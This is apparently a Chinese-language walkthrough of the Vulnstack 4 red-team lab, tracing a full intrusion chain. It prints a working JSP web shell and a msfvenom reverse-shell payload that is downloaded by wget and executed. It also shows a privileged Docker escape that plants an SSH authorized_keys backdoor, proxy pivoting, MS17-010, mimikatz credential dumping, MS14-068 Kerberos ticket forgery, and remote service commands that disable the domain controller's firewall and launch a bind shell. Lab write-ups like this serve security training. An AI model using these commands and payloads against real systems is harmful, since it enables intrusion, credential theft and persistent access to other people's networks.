红队环境(Vulnstack4)
环境下载地址
红队靶场 Vlunstack 4 的打靶记录
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
1 | 涉及到的内容: |
第一个shell
目标端口探测
1 | nmap -sC -T4 -sV <target> |
寻找漏洞
1 | searchsploit <服务名> <版本号> //搜索该服务指定版本的漏洞 |
利用漏洞
1 | struts 2 |
利用tomcat
1 | // -F "file=@{FILE_NAME}" 指定上传文件 |
shell.jsp内容如下:
1 | <%@ page import="java.util.*,java.io.*,java.net.*"%><%%><HTML><BODY><FORM METHOD="POST" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "\n<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%></pre></BODY></HTML> |
获得高级shell
目的:为了方便后渗透集成化操作
操作方式:
生成msf马
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=193.122.122.123 LPORT=4444 -f elf > shell.elf |
开启http服务提供下载
1 | python3 -m http.servers 8080 |
利用之前上传的shell.jsp执行wget命令下载开启监听然后执行
1 | wget http://192.168.0.108:8000/shell.elf |
信息收集
1 | getuid # 查看权限 |
持久化
1 | meterpreter>run persistence -h |
通过ifconfig推测为docker虚拟机,查看cgroup确认是docker
1 | cat /proc/self/cgroup |
第二个shell
尝试docker逃逸
尝试1
CVE-2019-5736-POC缺点是需要等待管理员重启
1 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go |
尝试2
利用–privileged特权模式逃逸
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
查看ls /dev
看到/dev目录会发现很多设备文件
首先我们现在docker中新建一个/hack目录用来挂载文件:
1 | mkdir /zain |
ls /zain
成功挂载,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的
写入密钥
本地在当前目录生成ssh密钥:
1 | ssh-keygen -f backdoor |
前面说了,将sda1挂载成功,我们就可以通过访问容器内部的/zain路径来达到访问整个宿主机的目的,比如我们访问/zain/home目录也就是访问宿主机的/home目录,接下来将密钥写入目标机:
1 | cd /zain/home/ubuntu |
我们看见了一个.ssh目录,我们也就是要将ssh秘钥写入到.ssh目录里面并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)
1 | cp -avx /zain/home/ubuntu/.ssh/id_rsa.pub /zain/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制 |
查看密钥是否写入成功
1 | cat /zain/home/ubuntu/.ssh/authorized_keys |
此时,就可以利用自己的私钥进行免密登陆目标宿主机了:
1 | ssh -i backdoor ubuntu@192.168.2.186 |
此时边界机器已经被拿下
信息收集
发现存在内网网段
再次下载之前生成的木马,反弹一个meterpreter回来:
1 | wget http://192.168.0.108:8000/shell.elf |
获取shell后信息收集:
1 | route # 查看路由信息 |
横向
添加路由
1 | # 全局加路由 |
在实际的内网渗透中,我们可以直接添加到 0.0.0.0/0 的路由。这样,只要该被控主机可达的地址就都可达
1 | db_nmap -sT -Pn 192.168.183.129 |
创建代理
1 | use auxiliary/server/socks_proxy |
此时通过本机的1080就可以走msf建立的通道访问到内网的服务了
编辑本地代理服务:
1 | vim /etc/proxychains.conf |
扫描
1 | proxychains4 nmap -Pn -sT 192.168.183.129 |
扫描永恒之蓝漏洞
1 | search ms17-010 |
此时需要建立代理来打:
方法1
ew容易出现超时不操作就会自动断开的问题,这里推荐一款工具chisel
在目标web服务器上传chisel_for_linux64,然后执行:
1 | ./chisel_for_linux64 server -p 2333 --socks5 |
攻击机执行:
1 | ./chisel_for_linux64 client 192.168.2.186:2333 sock |
选择ms17-010
1 | setg Proxies socks5:[ip]:[端口]设置代理 |
方法2(推荐)
1 | proxychains msfconsole //新建一个代理中的msfconsole(因为是在公网的vps上开的代理,所以可以在内网机器中开) |
成功,而且很稳定
但是没法获取交互式shell,只能在meterpreter shell中操作,如果想获取交互式shell,则需要创建后门,然后通过代理正向连接后门:
meterpreter> run persistence -i 10 -X -p 4000 -P windows/meterpreter/bind_tcp
msf> use exploit/multi/handle
msf> set payload windows/meterpreter/bind_tcp
msf> set rhost 192.168.183.145
msf> set lport 4000
msf> setg proxies socks5:127.0.0.1:1080
msf> run
降权
因为在域中,不是域用户没有权限执行域命令,所以需要降权
1 | getuid #查看当前token |
域内信息收集
1 | ipconfig /all 查看本机ip,所在域 |
利用ms14-067攻击域控
抓取密码
1 | meterpreter> upload mimikatz.exe #上传mimikatz |
利用ms14-068生成票据
ms14-068.exe -u 域成员名-s 域成员sid -d 域控制器ip地址 -p 域成员密码
mimikatz注入票据:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中
利用/验证
> net use \\win-ens2vr5tr3n(域控机器名)
> dir \\win-ens2vr5tr3n\c$ (列出c盘)
> copy c:\windows\system32\bind.exe \\WIN-ENS2VR5TR3N\c$ (上传木马)
关闭防火墙
> sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \\WIN-ENS2VR5TR3N start unablefirewall
> sc \\WIN-ENS2VR5TR3N start unablefirewall
创建msf马
> sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
> sc \\WIN-ENS2VR5TR3N start bindshell